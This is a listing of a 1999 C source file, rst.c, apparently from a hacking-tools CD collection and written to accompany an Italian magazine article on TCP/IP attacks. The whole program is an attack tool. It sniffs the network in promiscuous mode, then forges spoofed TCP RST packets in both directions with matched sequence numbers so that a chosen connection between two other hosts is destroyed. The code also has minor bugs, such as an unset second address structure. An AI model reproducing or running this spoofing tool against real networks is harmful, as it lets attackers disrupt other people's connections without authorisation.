home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / rst.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  6.7 KB  |  262 lines

  1. /************************************************************************
  2. *                                    *
  3. * RST.c                Codice di accompagnamento a parte    *
  4. *                dell'articolo "TCP/IP Hacks for Phun    *
  5. *                and Profit" su BFi5. Puoi trovare BFi    *
  6. *                all'URL http://softpj98.bbk.org/bfi/    *
  7. *                                    *
  8. *                RST Storm per distruggere link TCP    *
  9. *                Forza Bruta. Non stile :) . Lo stile    *
  10. *                dovete aggiungerlo voi. Questo e' solo    *
  11. *                codice esplicativo, non supremo.    *
  12. *                                    *
  13. *                 (C)1999 FuSyS TCP/IP Tools Unlimited    *
  14. ************************************************************************/
  15.  
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19. #include <ctype.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <netinet/in.h>
  23. #include <netinet/ip.h>
  24. #include <netinet/tcp.h>
  25. #include <netinet/if_ether.h>
  26. #include <net/if.h>
  27. #include <ioctls.h>
  28.  
  29. #define RSTS        10
  30. #define IF        "eth0"
  31.  
  32. int sp_fd;
  33.  
  34. unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) {
  35.         unsigned long sum;
  36.  
  37.         __asm__ __volatile__("
  38.             movl (%1), %0
  39.             subl $4, %2
  40.             jbe 2f
  41.             addl 4(%1), %0
  42.             adcl 8(%1), %0
  43.             adcl 12(%1), %0
  44. 1:          adcl 16(%1), %0
  45.             lea 4(%1), %1
  46.             decl %2
  47.             jne 1b
  48.             adcl $0, %0
  49.             movl %0, %2
  50.             shrl $16, %0
  51.             addw %w2, %w0
  52.             adcl $0, %0
  53.             notl %0
  54. 2:
  55.          "
  56.         : "=r" (sum), "=r" (iph), "=r" (ihl)
  57.         : "1" (iph), "2" (ihl));
  58.         return(sum);
  59. }
  60.  
  61. struct tcppk {                         
  62.         struct iphdr ip;
  63.         struct tcphdr tcp;
  64.         char data[1500];
  65. };
  66.  
  67. struct pseudo {
  68.     unsigned long saddr, daddr;
  69.     unsigned char zero, proto;
  70.     unsigned short len;
  71. };
  72.  
  73. void raw(void)
  74. {
  75.     int opt=1;
  76.  
  77.     if((sp_fd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0){
  78.         perror("\nRAWIP() RAW Socket problems [Died]");
  79.         exit();
  80.     }
  81.     if(setsockopt(sp_fd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) <0){
  82.             perror("RAWIP() Cannot set IP_HDRINCL [Died]");
  83.             exit();
  84.     }
  85.  
  86. }
  87.  
  88. int tap(char* device,int mode)
  89. {
  90.     int fd;
  91.     struct ifreq ifr;
  92.  
  93.     if((fd=socket(AF_INET, SOCK_PACKET, htons(0x3))) <0){
  94.         perror("SNIFF() SOCK_PACKET allocation problems [Died]");
  95.         exit();
  96.     }
  97.  
  98.     strcpy(ifr.ifr_name,device);
  99.     if((ioctl(fd, SIOCGIFFLAGS, &ifr)) <0){    
  100.         perror("SNIFF() Can't get device flags [Died]");
  101.         close(fd);
  102.         exit();
  103.     }
  104.  
  105.     if(!mode)ifr.ifr_flags ^= IFF_PROMISC;
  106.     else ifr.ifr_flags |= IFF_PROMISC;
  107.     if((ioctl(fd, SIOCSIFFLAGS, &ifr)) <0){
  108.         perror("SNIFF() Can't set/unset promiscuous mode [Died]");
  109.         close(fd);
  110.         exit();
  111.     }
  112.  
  113.     if(!mode){
  114.         close(fd);
  115.         return(0);
  116.     }
  117.     else return(fd);
  118. }
  119.  
  120. unsigned long in_aton(const char *str)
  121. {
  122.         unsigned long l;
  123.         unsigned long val;
  124.         int i;
  125.  
  126.         l = 0;
  127.         for (i = 0; i < 4; i++)
  128.         {
  129.            l <<= 8;
  130.            if (*str != '\0')
  131.            {
  132.                val = 0;
  133.                while (*str != '\0' && *str != '.')
  134.                {
  135.                         val *= 10;
  136.                         val += *str - '0';
  137.                                 str++;
  138.                         }
  139.                         l |= val;
  140.                         if (*str != '\0')
  141.                                 str++;
  142.                 }
  143.         }
  144.         return(htonl(l));
  145. }
  146.  
  147. void uff(void) {
  148.     printf("\nUso: RST sourceIP src_port destIP dest_port\n\n");
  149.     exit(1);
  150. }
  151.  
  152. int main(int argc, char **argv) {
  153.  
  154.     unsigned char buffer[1500], checkbuff[32], checkbuff2[32];
  155.     struct sockaddr_in sin, sin2;
  156.     struct iphdr *ip;
  157.     struct tcphdr *tcp;
  158.     struct pseudo *psp, *psp2;
  159.     struct tcppk tpk, tpk2;
  160.     int sniff, snt, snt2, rst=0;
  161.     unsigned long saddr, daddr;
  162.     unsigned short src, dest;
  163.  
  164.     if(argc<5) {
  165.         uff();
  166.         exit(1);
  167.     }
  168.     saddr=in_aton(argv[1]);daddr=in_aton(argv[3]);
  169.     src=htons(atoi(argv[2]));dest=htons(atoi(argv[4]));
  170.  
  171.     sniff=tap(IF, 1);
  172.     raw();
  173.  
  174.     if(setpriority(0, 0, -20) <0){
  175.                 printf("\nRST setpriority Error\n");
  176.         }
  177.  
  178.         ip = (struct iphdr *)(((char *)buffer)+14);
  179.         tcp = (struct tcphdr *)(((char *)buffer)+(sizeof(struct iphdr)+14));
  180.         psp = (struct pseudo *)checkbuff;
  181.     psp2 = (struct pseudo *)checkbuff2;
  182.  
  183.     memset(&sin, 0, sizeof(sin));
  184.         sin.sin_family=AF_INET;
  185.         sin.sin_port=src;
  186.         sin.sin_addr.s_addr=saddr;
  187.     memset(&sin2, 0, sizeof(sin2));
  188.     sin.sin_family=AF_INET;
  189.         sin.sin_port=dest;
  190.         sin.sin_addr.s_addr=daddr;
  191.  
  192.         memset(&tpk, 0, sizeof(tpk));
  193.     memset(&tpk2, 0, sizeof(tpk2));
  194.     memset(psp, 0, sizeof(struct pseudo));
  195.     memset(psp2, 0, sizeof(struct pseudo));    
  196.  
  197.         tpk.ip.ihl=5;
  198.         tpk.ip.version=4;
  199.         tpk.ip.tos=0;
  200.         tpk.ip.tot_len=htons(40);
  201.         tpk.ip.frag_off=0;
  202.         tpk.ip.ttl=64;
  203.         tpk.ip.protocol=IPPROTO_TCP;
  204.         tpk.ip.saddr=daddr;
  205.         tpk.ip.daddr=saddr;
  206.         tpk.tcp.source=dest;
  207.         tpk.tcp.dest=src;
  208.         tpk.tcp.doff=5;
  209.         tpk.tcp.rst=1;
  210.         tpk.tcp.ack=1;
  211.         tpk.tcp.window=0;
  212.         psp->saddr=tpk.ip.daddr;
  213.         psp->daddr=tpk.ip.saddr;
  214.         psp->zero=0;
  215.         psp->proto=IPPROTO_TCP;
  216.         psp->len=htons(20);
  217.     tpk2=tpk;
  218.     tpk2.ip.saddr=saddr;
  219.     tpk2.ip.daddr=daddr;
  220.     tpk2.tcp.source=src;
  221.     tpk2.tcp.dest=dest;
  222.     psp2->saddr=tpk.ip.saddr;
  223.         psp2->daddr=tpk.ip.daddr;
  224.         psp2->zero=0;
  225.         psp2->proto=IPPROTO_TCP;
  226.         psp2->len=htons(20);
  227.  
  228.         printf("RSTing :\t%s:%d > %s:%d\n",
  229.                 argv[1], src, argv[3], dest);
  230.         while(read(sniff, &buffer, sizeof(buffer))) {
  231.                 if(ip->saddr==daddr &&
  232.                    ip->daddr==saddr &&
  233.                         tcp->source==dest &&
  234.                         tcp->dest==src) {
  235.             tpk.tcp.seq=tcp->seq+htonl(
  236.                             ntohs(ip->tot_len)-40);
  237.                         tpk.tcp.ack_seq=tcp->ack_seq;
  238.             tpk2.tcp.seq=tcp->ack_seq;
  239.             tpk2.tcp.ack_seq=tcp->seq+htonl(
  240.                                 ntohs(ip->tot_len)-40);
  241.                         memcpy(checkbuff+12, &tpk.tcp, 20);
  242.                         tpk.tcp.check=ip_fast_csum(
  243.                                 (unsigned char *)checkbuff,32);
  244.             memcpy(checkbuff2+12, &tpk2.tcp, 20);
  245.                         tpk2.tcp.check=ip_fast_csum(
  246.                                 (unsigned char *)checkbuff2,32);
  247.                           for(; rst<RSTS; rst++) {
  248.                 snt2=sendto(sp_fd, &tpk2, 40, 0,
  249.                 (struct sockaddr *)&sin2, sizeof(sin2));
  250.                                 snt=sendto(sp_fd, &tpk, 40, 0,
  251.                                 (struct sockaddr *)&sin, sizeof(sin));
  252.                                 if(snt<0)printf("[SP00F_ERROR]");
  253.                 else printf("[RST]");
  254.                           }
  255.               break;
  256.                 }
  257.         }
  258.     printf("\n");
  259.     tap(IF, 0);
  260.     exit(0);
  261. }
  262.